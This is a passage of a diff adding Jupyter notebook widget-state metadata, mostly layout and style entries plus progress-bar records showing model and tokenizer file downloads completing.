+        "492d702c82564ce5ae62e4989905f176": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_17af87063b1e4888b8dd22dd325e039f",
+            "placeholder": "​",
+            "style": "IPY_MODEL_fbe842d741e84880ac53241d2d39a566",
+            "value": "Downloading (…)cial_tokens_map.json: 100%"
+          }
+        },
+        "494a7d5322c84f08b713936633c10d8a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4b79f47e2713436c91422a7e8db2729d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4bca98717ed84770a06524e832f3dc70": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4bd11779af5243f38a87aee67edeef37": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3b40e3e3b6a94c3a8f5c94d328c7ff8e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4c9915c0e224462c8381803ca2e404d3",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "4c1a2f85fe2744fbbada089a46ac7f20": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4c9915c0e224462c8381803ca2e404d3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4dd5e64fe44c495d8d8d912f0ac06b82": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "4e9c85779ed3400a8d8b3f14f08770b6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f83d235f098a428d9f6519bba64a385f",
+            "max": 231508,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_945160da858a439d90de50ffd671396a",
+            "value": 231508
+          }
+        },
+        "4f0a42dd0f954a2a9abd2d98dcb3de67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_4bca98717ed84770a06524e832f3dc70",
+            "max": 141,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2cb163ea221745cfb446ec9ddcbe622b",
+            "value": 141
+          }
+        },
+        "4f70b3f18d12429cb3f6a8921a168c00": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_f74bcd4d2ab04c6cb3220c2fc64257b1",
+              "IPY_MODEL_76a37f30e9004067b8ba520191d64ac0",
+              "IPY_MODEL_f9d5339a3d464d18846f943017f90257"
+            ],
+            "layout": "IPY_MODEL_5bd2087051324e1db5ca06eb9c098d19"
+          }
+        },
+        "4f78f4c67c524e1dbf18615cd98fc1e4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_3064bb59f3144fc6a373b1528290b57a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_4b79f47e2713436c91422a7e8db2729d",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "51838f3af71a4535afed388649e691fe": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_acf34873eae8493fbf953b1a8a65e177",
+              "IPY_MODEL_872540ef74d6459a99e4647d2a643176",
+              "IPY_MODEL_bed467f249ca47ea8b3ea57cc365dd22"
+            ],
+            "layout": "IPY_MODEL_a5a8f2b461064eecad9cefa57eb89423"
+          }
+        },
+        "522a01b9856f477b89ce65ee75edea28": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "54dc179584c241dea17f59f2b9e93f47": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "592bbbcf2fd14ed882f9a0adb56a57a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_96332b8765b3472c9f6a43626e8a5bb3",
+            "placeholder": "​",
+            "style": "IPY_MODEL_13935b9459d34cb28418ceffe17f8d85",
+            "value": " 711k/711k [00:00&lt;00:00, 11.8MB/s]"
+          }
+        },
+        "5a2729d7ebe54449aaedcb658795e19f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_05a15576ce6b4595a228045a2c43a598",
+            "placeholder": "​",
+            "style": "IPY_MODEL_23ac198dda5d4390b1e0998e2553d04c",
+            "value": " 125/125 [00:00&lt;00:00, 3.22kB/s]"
+          }
+        },
+        "5a9aba83d9734e01902c5b9bcb534ac4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "5af7e60d5fe142f6a2fb59b92c19715b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_10bcc231a8ba4b809be9c7c6b95b5b53",
+            "placeholder": "​",
+            "style": "IPY_MODEL_a5506cc4b437400cbfff631c20110891",
+            "value": " 1.54G/1.54G [00:16&lt;00:00, 94.9MB/s]"
+          }
+        },
+        "5bd2087051324e1db5ca06eb9c098d19": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5c0d9f5a3aa0473b9058fc33f28a9971": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5f53f8958f6744329c885898656f0c93": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4f78f4c67c524e1dbf18615cd98fc1e4",
+              "IPY_MODEL_2e904bced0c945498efee80e62acbe22",
+              "IPY_MODEL_5f98a87208c048a199395d58e986799f"
+            ],
+            "layout": "IPY_MODEL_522a01b9856f477b89ce65ee75edea28"
+          }
+        },
+        "5f98a87208c048a199395d58e986799f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d2ac867676604aa8a10267219e3c6362",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3af451b24c8a47c99941a0d3676db363",
+            "value": " 2.82k/2.82k [00:00&lt;00:00, 105kB/s]"
+          }
+        },
+        "602461cd7b5c471394ee2920b067a8f6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "60e84d9d72e94db9840aa03c7f15e3c3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20ec2d7af5444323acf5344e4f45a75e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e5264a161eff4d6484cbefc7ac38c20d",
+            "value": " 650k/650k [00:00&lt;00:00, 10.8MB/s]"
+          }
+        },
+        "628ac6a81d1646418cd58b7fccb814a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "63994cb769ce402194b4a70ea1079a3d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "64f4db4f35324cab9abab95c86307a89": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "65c79edaf8f844979f6d2cfdbded70e8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "65c7d970eca34f99a47528163a57b246": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6aedd062950c4596b734f7a98a9cce9c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6bfee089c2c6462daf9ccd9baae21cc3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1a5e688c08c747eaaf5ca99b9812eec1",
+            "max": 1538966629,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_89e75ba649f948e0aa1d458b9800b480",
+            "value": 1538966629
+          }
+        },
+        "70dc32700a9a4f268177a83cc2bdb29c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "72e9c18021664b9f812916541fc51c7a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1d4dd1aae7c7452298706a60c84f901d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_e6998fe4f2aa4ef595e9b30b794c5549",
+            "value": "Downloading (…)solve/main/vocab.txt: 100%"
+          }
+        },
+        "743663756db94768a1a82d5bccac5538": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
